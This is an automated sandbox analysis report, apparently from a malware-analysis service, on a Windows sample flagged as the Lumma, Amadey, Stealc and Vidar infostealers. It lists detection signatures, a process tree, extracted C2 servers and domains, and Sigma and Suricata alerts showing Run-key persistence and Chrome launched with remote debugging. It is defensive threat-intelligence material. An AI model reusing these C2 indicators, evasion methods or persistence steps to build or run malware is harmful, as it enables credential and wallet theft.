Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1553634
MD5:	ecfbd10e08d9c96177f20e200b32db7c
SHA1:	f39549ca5e29f78e2cb8b297d2b75fb5055925b2
SHA256:	c5d2ffc9c45c477de453ff71fc17293911c07d185c54a738dc870fc9ac973f31
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7436 cmdline: "C:\Users\user\Desktop\file.exe" MD5: ECFBD10E08D9C96177F20E200B32DB7C)

chrome.exe (PID: 7632 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7860 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2336 --field-trial-handle=2284,i,4785218427255859789,13458864232779102908,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cmd.exe (PID: 7948 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFIIIIJKFCA.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsFIIIIJKFCA.exe (PID: 8048 cmdline: "C:\Users\user\DocumentsFIIIIJKFCA.exe" MD5: 22FACEA29156C5E5E30F204C5A80ADCF)

skotes.exe (PID: 8172 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 22FACEA29156C5E5E30F204C5A80ADCF)

skotes.exe (PID: 7924 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 22FACEA29156C5E5E30F204C5A80ADCF)

580f9a92c2.exe (PID: 4632 cmdline: "C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe" MD5: E583BA21C7728101B6F48E9060E627A4)

971dbb906d.exe (PID: 7680 cmdline: "C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe" MD5: ECFBD10E08D9C96177F20E200B32DB7C)

skotes.exe (PID: 6828 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 22FACEA29156C5E5E30F204C5A80ADCF)

a247c36bcc.exe (PID: 6340 cmdline: "C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe" MD5: E7732C702F3BF803880C9A599985EF08)

580f9a92c2.exe (PID: 5924 cmdline: "C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe" MD5: E583BA21C7728101B6F48E9060E627A4)

971dbb906d.exe (PID: 7436 cmdline: "C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe" MD5: ECFBD10E08D9C96177F20E200B32DB7C)

a247c36bcc.exe (PID: 7356 cmdline: "C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe" MD5: E7732C702F3BF803880C9A599985EF08)

580f9a92c2.exe (PID: 2516 cmdline: "C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe" MD5: E583BA21C7728101B6F48E9060E627A4)

971dbb906d.exe (PID: 6016 cmdline: "C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe" MD5: ECFBD10E08D9C96177F20E200B32DB7C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["necklacedmny.store", "thumbystriw.store", "founpiuer.store", "scriptyprefej.store", "fadehairucw.store", "presticitpo.store", "navygenerayk.store", "crisiwarny.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000D.00000002.2457446943.000000000089E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000002.2889582820.0000000000B01000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000003.2558979343.000000000138A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000003.2586547286.0000000005050000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000003.2601492562.000000000138B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1942675827.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1941074085.00000000004B1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000002.1973135510.0000000000191000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000003.2833438111.0000000005130000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000003.2806493176.00000000013DA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000003.2792831307.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.2559683905.000000000138A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000003.2823321097.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1667051199.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000003.2794469472.00000000013DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.2755098437.00000000062B1000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000003.2836790919.00000000013DA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.2705966082.0000000008730000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000003.2586681389.0000000001389000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.2587559356.000000000138B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.2629590206.0000000000B01000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000002.2457776539.0000000000B01000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000003.2417034730.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000003.2569576526.0000000001389000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.2546685250.000000000138A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000003.2816873179.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.2544353256.0000000001398000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.2559975310.000000000138A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2911394505.00000000006C1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.2892455567.000000000147B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000003.2795595664.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.2631391189.00000000014FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.2012863863.00000000006C1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 7436	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7436	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7436	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7436	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 971dbb906d.exe PID: 7680	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 971dbb906d.exe PID: 7680	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 580f9a92c2.exe PID: 5924	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 580f9a92c2.exe PID: 5924	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 580f9a92c2.exe PID: 5924	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 580f9a92c2.exe PID: 5924	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 580f9a92c2.exe PID: 5924	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 971dbb906d.exe PID: 7436	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 971dbb906d.exe PID: 7436	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 580f9a92c2.exe PID: 2516	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 580f9a92c2.exe PID: 2516	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 580f9a92c2.exe PID: 2516	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 971dbb906d.exe PID: 6016	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 971dbb906d.exe PID: 6016	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 47 entries

Unpacked PEs

Source	Rule	Description	Author
9.2.DocumentsFIIIIJKFCA.exe.190000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
11.2.skotes.exe.6c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
10.2.skotes.exe.6c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7924, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\580f9a92c2.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7436, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7632, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7924, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\580f9a92c2.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:32:16.416592+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.4	49755	TCP
2024-11-11T14:32:54.224315+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.4	49762	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:33:10.045533+0100	2028371	3	Unknown Traffic	192.168.2.4	49847	23.192.247.89	443	TCP
2024-11-11T14:33:23.677211+0100	2028371	3	Unknown Traffic	192.168.2.4	49951	23.192.247.89	443	TCP
2024-11-11T14:33:25.294523+0100	2028371	3	Unknown Traffic	192.168.2.4	49962	188.114.97.3	443	TCP
2024-11-11T14:33:26.216234+0100	2028371	3	Unknown Traffic	192.168.2.4	49974	188.114.97.3	443	TCP
2024-11-11T14:33:27.634107+0100	2028371	3	Unknown Traffic	192.168.2.4	49985	188.114.97.3	443	TCP
2024-11-11T14:33:28.736206+0100	2028371	3	Unknown Traffic	192.168.2.4	49997	188.114.97.3	443	TCP
2024-11-11T14:33:30.208304+0100	2028371	3	Unknown Traffic	192.168.2.4	50008	188.114.97.3	443	TCP
2024-11-11T14:33:33.108675+0100	2028371	3	Unknown Traffic	192.168.2.4	50030	188.114.97.3	443	TCP
2024-11-11T14:33:34.560665+0100	2028371	3	Unknown Traffic	192.168.2.4	50045	188.114.97.3	443	TCP
2024-11-11T14:33:38.404302+0100	2028371	3	Unknown Traffic	192.168.2.4	50055	188.114.97.3	443	TCP
2024-11-11T14:33:48.592995+0100	2028371	3	Unknown Traffic	192.168.2.4	50063	23.192.247.89	443	TCP
2024-11-11T14:33:50.033614+0100	2028371	3	Unknown Traffic	192.168.2.4	50064	188.114.97.3	443	TCP
2024-11-11T14:33:50.981364+0100	2028371	3	Unknown Traffic	192.168.2.4	50066	188.114.97.3	443	TCP
2024-11-11T14:33:52.366965+0100	2028371	3	Unknown Traffic	192.168.2.4	50067	188.114.97.3	443	TCP
2024-11-11T14:33:53.470015+0100	2028371	3	Unknown Traffic	192.168.2.4	50069	188.114.97.3	443	TCP
2024-11-11T14:33:55.050151+0100	2028371	3	Unknown Traffic	192.168.2.4	50070	188.114.97.3	443	TCP
2024-11-11T14:33:57.010112+0100	2028371	3	Unknown Traffic	192.168.2.4	50072	188.114.97.3	443	TCP
2024-11-11T14:33:58.883002+0100	2028371	3	Unknown Traffic	192.168.2.4	50075	188.114.97.3	443	TCP
2024-11-11T14:34:00.654753+0100	2028371	3	Unknown Traffic	192.168.2.4	50077	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:33:25.666040+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49962	188.114.97.3	443	TCP
2024-11-11T14:33:26.602215+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49974	188.114.97.3	443	TCP
2024-11-11T14:33:38.788249+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50055	188.114.97.3	443	TCP
2024-11-11T14:33:50.425428+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50064	188.114.97.3	443	TCP
2024-11-11T14:33:51.357221+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50066	188.114.97.3	443	TCP
2024-11-11T14:34:01.020503+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50077	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:33:25.666040+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49962	188.114.97.3	443	TCP
2024-11-11T14:33:50.425428+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50064	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:33:26.602215+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49974	188.114.97.3	443	TCP
2024-11-11T14:33:51.357221+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50066	188.114.97.3	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:33:10.900437+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49856	185.215.113.43	80	TCP
2024-11-11T14:33:15.243464+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49891	185.215.113.43	80	TCP
2024-11-11T14:33:19.108160+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49920	185.215.113.43	80	TCP
2024-11-11T14:33:23.693949+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49950	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:33:09.267393+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	62803	1.1.1.1	53	UDP
2024-11-11T14:33:22.882048+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	58469	1.1.1.1	53	UDP
2024-11-11T14:33:47.770076+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	62329	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:33:09.297037+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	62249	1.1.1.1	53	UDP
2024-11-11T14:33:22.905558+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	50058	1.1.1.1	53	UDP
2024-11-11T14:33:47.847201+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	56793	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:33:09.373750+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.4	57341	1.1.1.1	53	UDP
2024-11-11T14:33:23.003825+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.4	56328	1.1.1.1	53	UDP
2024-11-11T14:33:47.923498+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.4	52996	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:33:09.399581+0100	2057119	1	Domain Observed Used for C2 Detected	192.168.2.4	49972	1.1.1.1	53	UDP
2024-11-11T14:33:23.030006+0100	2057119	1	Domain Observed Used for C2 Detected	192.168.2.4	63429	1.1.1.1	53	UDP
2024-11-11T14:33:47.948221+0100	2057119	1	Domain Observed Used for C2 Detected	192.168.2.4	54880	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:33:09.347515+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.4	62852	1.1.1.1	53	UDP
2024-11-11T14:33:22.957202+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.4	64264	1.1.1.1	53	UDP
2024-11-11T14:33:47.897290+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.4	56886	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:33:09.238731+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	53532	1.1.1.1	53	UDP
2024-11-11T14:33:22.853331+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	55227	1.1.1.1	53	UDP
2024-11-11T14:33:47.731532+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	62004	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T14:33:09.425583+0100	2057101	1	Domain Observed Used for C2 Detected	192.168.2.4	59457	1.1.1.1	53	UDP
2024-11-11T14:33:23.054996+0100	2057101	1	Domain Observed Used for C2 Detected	192.168.2.4	55173	1.1.1.1	53	UDP
2024-11-11T14:33:47.973790+0100	2057101	1	Domain Observed Used for C2 Detected	192.168.2.4	63367	1.1.1.1	53	UDP

